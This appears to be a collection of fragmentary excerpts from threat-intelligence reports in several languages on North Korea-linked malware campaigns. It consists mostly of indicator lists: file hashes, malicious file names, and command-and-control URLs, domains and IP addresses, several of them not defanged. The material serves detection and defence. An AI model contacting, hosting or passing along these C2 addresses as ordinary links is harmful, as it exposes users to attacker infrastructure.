발표자료_FN2.hwp.lnk 82d85f391c8a1aaa0a2b9500993156c5 possess.cab 3eac72d8dfab856788becf2cafc65328…","…was discovered and analyzed. - File name: 가상자산사업자 검사계획민당정회의 발표자료_FN2.hwp.lnk (Korean file name) - MD5: e37c8f6aba686aab3d7ecedbd1d0ef43 - SHA256: 5a8ecafbd5809000334bf5b940a497d0ed750dd11da8a03796f5ce53257cc892 Upon execution, this malicious LNK file leverages PowerShell…","…or hash.sha256(“ee8e8471fbe1b7fc85508e549444893bdea7579c5032c2626abcb1356129787e”) or hash.sha256(“e3c3981f65663c9923da9ca28c20951543ae3796bd39f86964769490b01c2bd7”) or hash.sha256(“4c53e24db4b7858fd9d17de2bfc3d73096f41172dfcc31a807231acb97aff9d0”)…","…SHA-256 e3c505b2457b1ac51c32bf428df070be0aa01fc90f3e35c68224832d83250c46 54bbf9a07b0b89c0501359077aa98d707ac42b22b0f628265f70237e8a71194f 75c81169d679fab821d77ea672f5a878626eb22d2110ffd7407623cb154ededd 274f44…","…a29efc bcfa523b1d55fcadc89bfee8f7c9abac3497f7760485843e6f58fe666984aa00 d6fcaf76b6837551e40184279c466e00d0e9b359b27ea335e3945d295f4f9cfa e40347e7cd335b43a0d27b33521684754f66d1e3be714f22a68e27d396a63faf eaef808e1ac99d13481b23b9dbdb6d246b14feaf35db0b592412dc213e619cc5 ff44d3dabb82467cd21187039789314bfd70c15777fcdc93ada11059ed4c289b 07df37…","…SHA256 cd0a48b5ebd946ea2b8964e9d6a73a48d73777fdb7c8da99c28404150b560f6c VelvetCake Powershell Enumeration Script SHA256 e41fdf41e6f5d089d1b8d7ea6f6a5c76760fe2a553c8ebc47601ebeca01311e1 VelvetCake Download URL SHA256 76e9bdf193b3127623b674efdf3f0e3585932af33c9c85a3d6375d369de0e12a VelvetCake Download URL…","…documents, employing ActiveX controls to establish communication with the C2 server. Office document (SHA-1 hash) C2 URL e46907cfaf96d2fde8da8a0281e4e16958a968ed http[://]app.documentoffice.club/salt_view_doc_words?user=8B86CA616964A84Y7A75B950 39c97ca820f31e7903ccb190fee02035ffdb37b9…","…34 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 이 글 공유하기 Facebook LinkedIn Email…","…수행할 수 있어 각별한 주의가 요구된다. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…extra caution is advised. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…Exfiltration Over Web Service Analyzed file hashes File Name SHA256 (IoC) 미군 구인공고 웹사이트 주소 및 사용방법 안내.zip E4A8610461D3B3C534346B9C874EDFF6D37CA085D578365FF75B25F682EC5FD0 Multi National Recruitment System Templete.pdf.zip 6149D861F38DB6D6F5110B234EDB1BA31800F7EB621AD27B6CBF99F05DDEAE18 Multi National…","…해당 악성코드 해쉬값 파일명:faultrep.dll 사이즈:261 KB MD5:e4b8e64ba6493120c7728bddc844e628 SHA-1:5162e8b479835c2aff439bf5a0c5e70329d517f3 SHA-256:0b1d881b010b2230a5ba9e5d9a0f0d31e00ccd6ebedd2568e002e6d35d9967ef 이며 2024-08-24…","…(IoCs) を記載しています。攻撃活動の検知や対策等にお役立てください。 Appendix: IoCs ファイル SHA256 説明 e4ccb2328c06710a7f0254cb6315e1b106396b0ff525f9cf3eada6e85d285c1c LNKファイルを含むZIPファイル ( tax_edoc.zip ) 9758e76b601798a30d903bf05052a53df80451e5c156548ce9da828f608b6470 ダウンローダ ( sys.dll )…","…Exec to execute the implant. c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 Tags trojan Details Name E4ED26D5E2A84CC5E48D285E4EA898C0 Size 157696 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 e4ed26d5e2a84cc5e48d285e4ea898c0 SHA1…","…Known as K06 on Xecure Lab. This sample could be categorized as Drop & Backdoor , or Unknown . MD5 E4F66C3CD27B97649976F6F0DAAD9032 Size 24 KB Compilation timedatestamp 2012-07-06 12:24:18 Modify Date None File mapping object…","…(2023.05.15.03) MD5 228732b45ed1ca3cda2b2721f5f5667c 47d380dd587db977bf6458ec767fee3d 4d91cd34a9aae8f2d88e0f77e812cef7 e501bb6762c14baafadbde8b0c04bbd6 URL https://www.samdb.or.kr/info/pinfo.aspx Previous Post 스팸 메일로 유포…","…(2023.05.15.03) MD5 228732b45ed1ca3cda2b2721f5f5667c 47d380dd587db977bf6458ec767fee3d 4d91cd34a9aae8f2d88e0f77e812cef7 e501bb6762c14baafadbde8b0c04bbd6 URL https://www.samdb.or.kr/info/pinfo.aspx Previous Post Kimsuky…","…5CE3CDFB61F3097E5974F5A07CF0BD2186585776 FAC3FB1C20F2A56887BDBA892E470700C76C81BA AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C DC72D464289102CAAF47EC318B6110ED6AF7E5E4 9F7B4004018229FAD8489B17F60AADB3281D6177 2A2839F69EC1BA74853B11F8A8505F7086F1C07A…","…bb88940e915b11f6330b7446f6037f5b ce5932b88f879f26006df81f2fa7667e d0894d4626aae0f96d6b84ca3bb71a36 e50f2ae7fb03675a1ef58b1cf9cda6d1 f648bdd3c2cd902e239149de86d43e8f 5-2.…","…일단 북한(DPRK) 아~들이 인증서 갱긴 안내, 이 아닌 인증서 갱신 안내로 해야 하는데 오타 검사도 안 하고 해서 갱긴이 된 것 같은 느낌이 드는 악성코드 MD5:e50f2ae7fb03675a1ef58b1cf9cda6d1 SHA1:c8cb836b3f67d0cae6fdeff4d90410ce9355a97e SHA256:b9f7133bddc4145b0dc9ddabe22cdebd6caed9ec5281728b6eeb67781a283a8b 해당 악성코드는 숫자 형태로…","…contains 4 malicious DLL files: MD5 Filename a6f14b547d9a7190a1f9f1c06f906063 cfgifut.dll e51ce28c2e2d226365bc5315d3e5f83e cldbct.dll 067681b79756156ba26c12bc36bf835c cryptbase.dll f8a2d4ddf9dc2de750c8b4b7ee45ba3f msfte.dll The file cldbct.dll…","…(AlyacMonitor.db) Blue Estimate (NewACt.dat) Blue Estimate 2 (Hero.dll) MD5 66B73FBA4E47B3184EDD75B0CE9CF928 E54B370D96CA0E2ECC083C2D42F05210 C315DE8AC15B51163A3BC075063A58AA Time-Stamp 2019.01.06 14:55:36 UTC 2019/11/19 07:15:57 UTC 2020/01/07 01:38:25 UTC…","…DOMAIN antichrist.or.kr IP 114.207.244.99 NewAct.dat MD5 e54b370d96ca0e2ecc083c2d42f05210 SHA-1 03c35e4c6a641373db665e7d58cea421188fbc82 SHA-256 1050935f6acee3afda3876478718632b968c986eb9c59fc2e27599c1515515f5 Virustotal…","…IOC Gomir MD5 e562cf30d17d47347c7e6ffd249fc190 SHA1 93edc15a20aac8b5193e5b22e35dbb09848e2ca0 SHA256…","…IoC (Indicator of Compromise) MD5 e5c9bb3938f2a24e755ee39073fc3aca C2 5.180.208.57 5.180.208.60 89.147.101.197 89.187.161.220 160.238.37.95 160.238.37.100…","…For full the technical details of the tool discovered in Incident #1 see Appendix (MD5: e62a52073fd7bfd251efca9906580839). One of the central hosts in the bank, which was running SWI FT Alliance software , contained a full y-fledged backdoor (MD5:…","A reply to Frost's Konni post of 1 September 2023 (https://x.com/fr0s7_/status/1697506531724419277) giving a MalwareBazaar sample and an ANY.RUN analysis of it under the same #APT #Konni tags.","…API Name En/Decoding 로직이 추가된 golddragon/braveprince 악성코드 md5 : E647B3366DC836C1F63BDC5BA2AEF3A9 sha1 : A7B0711B45081768817E85D6FC76E23093093F87 sha256 : 3903958EB28632AA58E455EB87482D1CCEF38A6FE43512BAAD30902E8BFDD6D5…","…■ HWP 악성 코드 분석 File Name 20190426.hwp / 당일_일정.hwp Last Saved By ipus MD5 e66aa13623eb58d26f4818ab95bb9836 HWP 문서 파일의 BinData 스트림에는 'BIN0001.eps' 포스트 스크립트(Post Script)가 포함되어 있습니다.…","…payload via certutil The downloaded CAB file has the following properties: MD5 a943e196b83c4acd9c5ce13e4c43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 File Type Microsoft Cabinet archive data, 181248 bytes, 3…","…2019-03-05 18:17 Last Modified Name windowsmb C2 https://christinadudley.com/public_html/includes/common/Qfnaq.hta MD5 e68b11bef48e8e88cba7e3c93fac5eab File Name Task_Force_report.doc Last Modified Date (KST) 2019-03-05 18:18 Last Modified Name windowsmb C2…","…Last Modified Name windowsmb C2 https://christinadudley.com/public_html/includes/common/Qfnaq.hta MD5 e68b11bef48e8e88cba7e3c93fac5eab File Name Task_Force_report.doc Last Modified Date (KST) 2019-03-05 18:18 Last Modified Name windowsmb…","…(GUI) Intel 80386, for MS Windows MD5 60294c426865b38fde7c5031afc4e453 SHA1 f8736e3f89f30f082cfd68a73763afcfb0e1c9c3 SHA256 e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 SHA512…","…d5101c3b86d973a848ab7ed79cd11e5a 3dc840d32ce86cebf657b17cef62814646ba8e98 e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec 0eeb1c0133eb4d571178b2d9d14ce3e9 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e…","…File Type Macintosh Disk Image MD5 d5101c3b86d973a848ab7ed79cd11e5a SHA1 3dc840d32ce86cebf657b17cef62814646ba8e98 SHA256 e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec The backdoor component is libffmpeg.dylib located in /Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries .…","…hash: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6 SmoothOperator Malicious 3CX DMG SHA256 hash: e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec libffmpeg.dy SHA256 hashes: a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67…","…IOCs MD5 | MD5 | Information | | --- | --- | | e6c6fa32da47d9341b778bfa424abb4c | Gomir ( UPX packed ) | | b1c72139f2cdd9419562369fc6ced4fc | Gomir | | 84e9 b066bebd49036b7fc71b5f5f8d83 | Gomir | |…","…activities related but out of the scope of the report. TYPE INDICATOR DESCRIPTION SHA256 e6dff9a5f74fff3a95e2dcb48b81b05af5cf5be73823d56c10eee80c8f17c845 Malicious Rheinmetall Document 1 SHA256 ffec6e6d4e314f64f5d31c62024252abde7f77acdd63991cb16923ff17828885…","…(GUI) x86-64, for MS Windows MD5 117fa0b8b8b965680c7b630c6e2bf01d SHA1 7202fea74865e085104f839574cd150613fbcf99 SHA256 e6fc788b5ff7436da4450191a003966a68e2a1913c83f1d3aec78c65f3ba85ca SHA512…","…ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e…","…Brandoor Cases ⚫ e8486a2ddc8e16a64261d48346ef5688 ⚫ e756d0545315a553a45a02e69a1cbe61 ⚫ 16e7e127eb6fc4611680070d9b56de80 ⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫ c5f9539e0b1c84654e475a08eca772ed ⚫…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 d620c699a5b1828aca699b5aee77e5e6 SHA1 e769a810389f931b748bbe80742c427126c063a4 SHA256 dcb232409c799f6ddfe4bc0566161c2d0b372db6095a0018e6059e34c2b79c61 SHA512…","…(GUI) Intel 80386, for MS Windows MD5 aa7f506b0c30d76557c82dba45116ccc SHA1 b12d174088629f4e3e0009661ca589fc9f17f66a SHA256 e76b3fd3e906ac23218b1fbd66fd29c3945ee209a29e9462bbc46b07d1645de2 SHA512…","…Name e7718609577c6e34221b03de7e959a8c Size 163840 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 e7718609577c6e34221b03de7e959a8c SHA1…","…IOCs Hash e78be07019dfaf682c601985ac3ba424 108b5fd1b62489fd5cdb4ebd4a463226 42d24ccfb0a05c5f299181ca3afc7ae3 a6c26a0b5df0db6a35b15c24342f27f8…","…674874 7c059314638fd78ce3d0f375bae16a615860d603d1b157edeb4eabf797347d35 782aadc761381ec79e8d01a5ed4d13ae6089661ff2517c88e6de6d6eb2c89cab e7923f6672cfc24f47982c3c5b8aa967bf83de3b05bb3f199c4cb6c4aa89b84d SHA1…","…Size 184848 bytes Type Microsoft Word 2007+ MD5 e7aa0237fc3db67a96ebd877806a2c88 SHA1 0ecc687d741c7b009c648ef0de0a5d47213f37ff SHA256 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 SHA512…","…lnk | e7da02737751f2f171aed28694b9554e | 160.187 .…","…423fcd de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34 2f133525f76ab0ebb0b370601673361253074c337f0b0895d0f0cb5bc261cfcb e83a08bcb4353bfd6edcdedbc9ead9ab179a620e15155b60d18153bed9892f38 6f673981892701d42159489c1b2614c098a04e4674b23e1cd0fd8911766e71a0 ad075279d2ee6958105889d852e0d7f4266f746cb0078ac1b362f05a45b5828d 1288e1…","…Name 2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx Size 521644 bytes Type Microsoft Word 2007+ MD5 7955fa7ab32773d17e0e94efeea69cf4 SHA1…","…Size 97686016 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 668d696582f9c00029e2e8253470e9db SHA1 e83ebe43da7bbfb9c95d34163383d1b3926e663f SHA256 1b60a6d35c872102f535ae6a3d7669fb7d55c43dc7e73354423fdcca01a955d6 SHA512…","…Hash-SHA256 e14f1a655d54254d06d51cd23a2fa57b6ffdf371cf6b828ee483b1b1d6d21079 Hash-SHA256 e8450dd6f908b23c9cbd6011fe3d940b24c0420a208d6924e2d920f92c894a96 Appendix 4. IoCs of BADCALL Indicator Description…","…Brandoor Cases ⚫ e8486a2ddc8e16a64261d48346ef5688 ⚫ e756d0545315a553a45a02e69a1cbe61 ⚫ 16e7e127eb6fc4611680070d9b56de80 ⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫…","…7464850d7d6891418c503d0e1732812d7703d6c1fd5cf3c821f3c202786f9422 f3e6e8df132155daf1d428dff61f0ca53ecd02015a0a0bbe1ad237519ab3cb58 e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2 4bce97…","…API (T1106) Hijack Execution Flow (T1574) Command and Scripting Interpreter: Windows Command Shell (T1059.003) IOCS Hashes e87b575b2ddfb9d4d692e3b8627e3921 a27a9324d282d920e495832933d486ee 3f326da2affb0f7f2a4c5c95ffc660cc 490c885dc7ba0f32c07ddfe02a04bbb9 712a8e4d3ce36d72ff74b785aaf18cb0 a27a932…","…df82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5…","…“LosAngeles_Court_report.doc” First Submission: 2019-01-26 09:59:50 Code Page: Korean Author: home SHA-1: e89458183cb855118539373177c6737f80e6ba3f Malicious Macros The campaign exhibits very similar macro code in both the XLS and DOC variants of the dropper. The macros…","…credentials from file and return contents. Ret == 2: Receive and Execute arbitrary Python code within Process Memory (VT Hash: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7 ) The loader script allows for the running of arbitrary Python code or scripts, in memory.…","…sha256 : 51a92bd57ece4a107dacabf2639b6fa06bea8992e72fc9b4305a90fcd984e752 md5 : 3A7355417EBFDB5067582916BBAF0F15 sha1 : E8BEF41ED7D0704D9206880EE0F30B5ECF30F204 sha256 : 0CF7E1268E8652D841B7BDA784707E445B9CDC2A46FFB375C8F239CB4C551F73 공유하기 게시글 관리 Beyond The Binary…","…Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE> MD5 da17802bc8d3eca26b7752e93f33034b SHA1 e8f29f1e3f35a4f2c18be424551e280ed66b1dd7 SHA256 631ac269925bb72b5ad8f469062309541e1edfec5610a21eecded75a35e65680 SHA512…","…5cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd afb2595ce1ecf0fdb9631752e32f0e32be3d51bb e8faa68daf62fbe2e10b3bac775cce5a3bb2999e McAfee Detection BackDoor-FDRO! Trojan-FPCQ! RDN/Generic Downloader.x RDN/Generic Dropper RDN/Generic.dx…","…Kaspersky 'Destover' malware now digitally signed by Sony certificates (updated) ファイル名 MD5 Hash 検知名 igfxtpers.exe e904bf93403c0fb08b9683a9e858c73e ( Malwr :DL可) Trojan.Win32.Destover.d( Kaspersky ) Troj/Destover-A(Sophos) Backdoor.Destover( Symantec ) BKDR_DESTOVER.A(TrendMicro)…","…SHA1 72b6f743a93275adaa50968394543890d07021be b319317c7028d7bbb2f1d289945e4c21b4e34d2b e917166ed0096688994709acb94233ba3f3be39b e9528f09f1e58ffc308893087f4a8b77aa1d544d Remediation Block all threat indicators at your respective controls. Search for indicators…","…e25c696a6d4b6eafde43f2d6b8db45701cafc329df111ec48d63c5d0fb80f80c d0544a045aae0e316380b57a7319ec54f7f0979a7882f33a15839311c7e29888 e9239ba649aec746e3c0088bc56400460b4a03e5f2df132ec7e47c14ccb70c0c SHA1 456987068ff42f8db6ff8e3af8b82e785b010c7f 3872ff7378ab6b155c9af26285f1a9ff9d496f76 f61032939e029de3dd03c223c8bcb384a9237f50…","…9a91f8497b9f0e88dbe6a3face0d2123a89bcebf241a1d SHA-256 GSRAT 3b4a56b6d86393fa0c058cdd3d26809ef6c956fb6b69fac9d84f9212d5db7ee1 SHA-256 GSRAT e9239ba649aec746e3c0088bc56400460b4a03e5f2df132ec7e47c14ccb70c0c SHA-256 Custom Lilith RAT 0ecac57958e77648b5e5b47787612f992175bf22e00dbf8ea4de0b9f12dea2d8 SHA-256 Custom Lilith…","…SHA1 1602cc32d56ab7f7d70c508696134875a0a56000 afefb97605354c96d07d6e24a87798dd5891b583 e9519f91c7acfe68e614fc6d3416033334b1b68c c91f346d077efbcf45e53e4876b6b23f1e241db4 2efdf82808cd7f63ebc66f553ae94127c3d7c60b 8380d7451f9c4477dd2e8c7c0ba46471bfc6dc27 60be225d1a90…","…SHA1 72b6f743a93275adaa50968394543890d07021be b319317c7028d7bbb2f1d289945e4c21b4e34d2b e917166ed0096688994709acb94233ba3f3be39b e9528f09f1e58ffc308893087f4a8b77aa1d544d Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…가진 파일들 압축되어 있고, 모두 [표 9]의 과정을 따라 지속성 확보 및 실행되는 것으로 분석 Dropbox 파일 내부 파일 MD5 zzJG.zip 83972.tmp e96157d3b82008c5e3142a57584678cb G3892.tmp 99f9419d756729bc97d687f845d77783 zzG.zip 83972.tmp 2af6fb5bc3137eb297c6560e267d8193…","…on this intrusion set’s activities, notably via our Intelligence Center . Technical indicators Related file hashes // Malicious CHMs e96a18b5837c7a7d83215d70ca10b84ee8c7b6e8dbd4d215586ec062d328ce86 1304fbeca197e4e67959c0b89b619cc109e4825d0da26ac41277eb34d2a19bc6 1409c4d0bd9a22a1e5adf016fffb83bbf3bd9f72ae0773780a409b980ed97763 6c1f0dead…","…(GUI) Intel 80386, for MS Windows MD5 912f87392a889070dbb1097a82ccd93f SHA1 58c5b86691dc922945c8204b465e76fc15c498fb SHA256 e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292 SHA512…","…Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise Domain Name atlanwelt.de IP 72.14.155.62 MD5 e9a54529a55bada06fdf95e0b7de77cd SHA-256 7689f8c2bfff6262a5885f3e5afc5442dc8a60bfa463da821e348b095d45e362 SHA1 5e05839ce67f982e292150e91de22c906bac7f70 URL…","…130560 bytes Type PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5 a2b1a45a242cee03fab0bedb2e460587 SHA1 e9c9ef312370d995d303e8fc60de4e4765436f58 SHA256 5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b SHA512…","…우수신기술 국산 상용 SW 소요 제출 (SW).hwp 경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb MD5 ea0da915cd2da86f77d28bb96441ef43 [ 표 15] ‘ 우수신기술 국산 ~.hwp ’ 를 통해 설치되는 악성파일 정보 파일명 실행예산변경 .hwp 경로 D: \\ HighSchool \\ version…","…Below are the details of the payload: SHA256 ea31e626368b923419e8966747ca33473e583376095c48e815916ff90382dda5 Imphash 96321fa09a450119a8f0418ec86c3e08 Rich PE Hash 8c4fb0cb671dbf8d859b875244c4730c Filetype Win32 DLL Compile Timestamp…","…// deobf_ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 // ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 // ghost.npl MD5:ea31f66a5164a394ce3a7253db49dd79 // package.json MD5:4d7d3dfd3d99727f450ee0883e9f60e2 // stager_mac.sh MD5:38614d05a905eab3a0885b637bfbb8e8 //…","…Hash 7d766cbd60b2184b4181eb83562d5a406b848adddfa20842a073c25d3f1fe853 1099a77b2de97f26605b32e25e806b636e36103a3b8d601e1e30b15c922de578 ea332de382c843e4d862323466fee3d94c3722e3e9e61c00bf2bdf379a7087af 8028b918d06cf3635e7e77d29cb0a4622d8cf4ee30881fb297435f7328ff45e4 35ddb63c0729a7e3019c026865ea195607a51943d8867607a26c006f0df6e594 06e2ab3fe…","…a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e8c24bb3b50d68227ff2b7193d548dd d2…","…84aa00 d6fcaf76b6837551e40184279c466e00d0e9b359b27ea335e3945d295f4f9cfa e40347e7cd335b43a0d27b33521684754f66d1e3be714f22a68e27d396a63faf eaef808e1ac99d13481b23b9dbdb6d246b14feaf35db0b592412dc213e619cc5 ff44d3dabb82467cd21187039789314bfd70c15777fcdc93ada11059ed4c289b 07df3733b75e6e23d2217a6548ed66654793b20a0674b22187e558c3284c0055 184fba…","…침해 지표 (Indicator of Compromise) ● MD5 1e66ac680d0edfe18d97b89e46c7e82e eb08ab3854168c834ab154facfe695a3 a4bd6d00abbd79ab00161ff538cfe703 3e3013fe03f7416b8d1e96591f8e5839 c700195f61635b9a6fb1ee4359b91940 fcdcc6c56ae43f7a78413cc5204e9314 781acd3…","…Size 83968 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 2d92116440edef4190279a043af6794b SHA1 eb2eb432445b3dcf6483e7d5f670acb94a8bab70 SHA256 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c SHA512…","…connect to the domain. 4838f85499e3c68415010d4f19e83e2c9e3f2302290138abe79c380754f97324 Tags backdoortrojan Details Name EB6275A24D047E3BE05C2B4E5F50703D Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 eb6275a24d047e3be05c2b4e5f50703d SHA1…","…Name hc.zip Size 50896 bytes Type Zip archive data, at least v2.0 to extract MD5 eb7da5f1e86679405aa255aa4761977d SHA1 880cb39fee291aa93eb43d92f7af6b500f6d57dc SHA256 da353b2845a354e1a3f671e4a12198e2c6f57a377d02dfaf90477869041a044f SHA512…","…2020 2fb6cf5003543cb0355eba8f4242f2e34d61106c813b7bfeb5816de0e0d508f1 rolls-royce-love.890m.com SHA256 C2 Indicator Type Notes CloudDragon eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60 http://toysbagonline.com/reviews http://purewatertokyo.com/list http://pinkgoat.com/input http://yellowlion.com/remove http://salmonrabbit.…","…Appendix C: Malware hash value 487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60 Email Author 朝長 秀誠 (Shusei…","…Beauty Dropper SHA256: 413772d81e4532fec5119e9dce5e2bf90b7538be33066cf9a6ff796254a5225f Filename: beauty.scr Dropped files#1 SHA256: eb90e40fc4d91dec68e8509056c52e9c8ed4e392c4ac979518f8d87c31e2b435 Filename: C:\\Windows\\beauty.jpg File type: JPEG image data, JFIF standard 1.02 #2 SHA256:…","…65f7211c3d7fde25154b4226a7bef0712579e0093020510f6a4bb4912a674695 Malicious Rheinmetall Document 3 SHA256 ebd6663d1df8228684a0b2146b68ce10169fc41c5e91c443fdf6f844f5ffeb62 Malicious Rheinmetall Document 4 SHA256 97515b70184f4553e5ae6b51d06a148b30d0a6632c077b98ad320e3c27cfd96f…","…SHA256 : 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9 SHA256 : ec254c40abff00b104a949f07b7b64235fc395ecb9311eb4020c1c4da0e6b5c4 SHA256 : 26a2fa7b45a455c311fd57875d8231c853ea4399be7b9344f2136030b2edc4aa Domain name (compromised): curiofirenze.com IP Address :…","…변화하고 있기 때문에 사용자의 각별한 주의가 필요하다. [파일 진단] Downloader/VBS.Kimsuky.S1997 (2023.03.14.00) MD5 aca61a168d95c5f72b8e02650f727000 ec3c0d9cbf4e27e0240c5b5d888687ec FQDN zetaros.000webhostapp.com AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(which is the ROR13 hash for the string DllGetClassObject) is a more unique pattern. While investigating a malicious MSI file (MD5: ec3f99dd7d9dbce8d704d407b086e84f ) that has been uploaded to a multiscanner service, we observed the following two events: The dll library dropped from the MSI was…","…SHA256 0db1e8a3075ffc2f5caa91abaeabb6ba4365ae0eda64d179374614a79e317733 VelvetCake as trojanized Zoom (zoominstaller.exe) SHA256 ec47a2101de4f1fc25995e775ddb48e20977081c4d885e6ff8fdfe9109d05495 VelvetCake Executable SHA256 ac8df7baf7f1397a8c194840f6a5c1b0182088febde55f46d9f73ee8abc97c1d Scheduled Task Registration Script…","…b9d52717f3f9e32258bd2e8260d27ef1 b9ef6b03d44891ec8766643514fe3294 b67b3863f1182d8abdcf54fd0938cea8 ec6842538f6166462d498279b8a462b3 f6800836d55d049fe79e3d47d54e1119 3a9c98fb76aaa4f440c059334b585585 6e1ce18cb9065bf0ea91fc5c2817e941…","…Size 609008 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 48971e0e71300c99bb585d328b08bc88 SHA1 ec8d7264953b5e9e416b7e8483954d9907278f2f SHA256 9bf8e8ac82b8f7c3707eb12e77f94cd0e06a972658610d136993235cbfa53641 SHA512…","…\"type\": \"domain-name\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41}\", \"file\": {\"hash\": {\"md5\": [\"e2699d59c3602893698c5958f485c6c2\"], \"sha1\": [\"3cc19cef767dee93588525c74fe9c1f1bf6f8007\"], \"sha256\":…","…MD5 1ae2e46aac55e7f92c72b56b387bc945 67e7e8600a57e9430a43bf8c5f98c6bd 7d445b39a090b486aaa002b282b4d8cb ec9dcef04c5c89d6107d23b0668cc1c1 URL http://dirwear.000webhostapp.com/ http://gerter.getenjoyment.net/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실…","…ad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 f4d59b1246e861a2a626cb56c55651f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe…","…创投资本相关域名及一部分其他有欺骗性的域名，同时发现了一批使用创业投资资本保密协议主题的样本，目前捕获的样本显示攻击者的攻击目标集中于前沿科技初创公司。很遗憾目前所有找到的样本的回连地址中尚未发现后续阶段的攻击样本，猎影实验室也将持续关注该攻击事件。 IOC md5: ecf75bec770edcd89a3c16d3c4edde1a 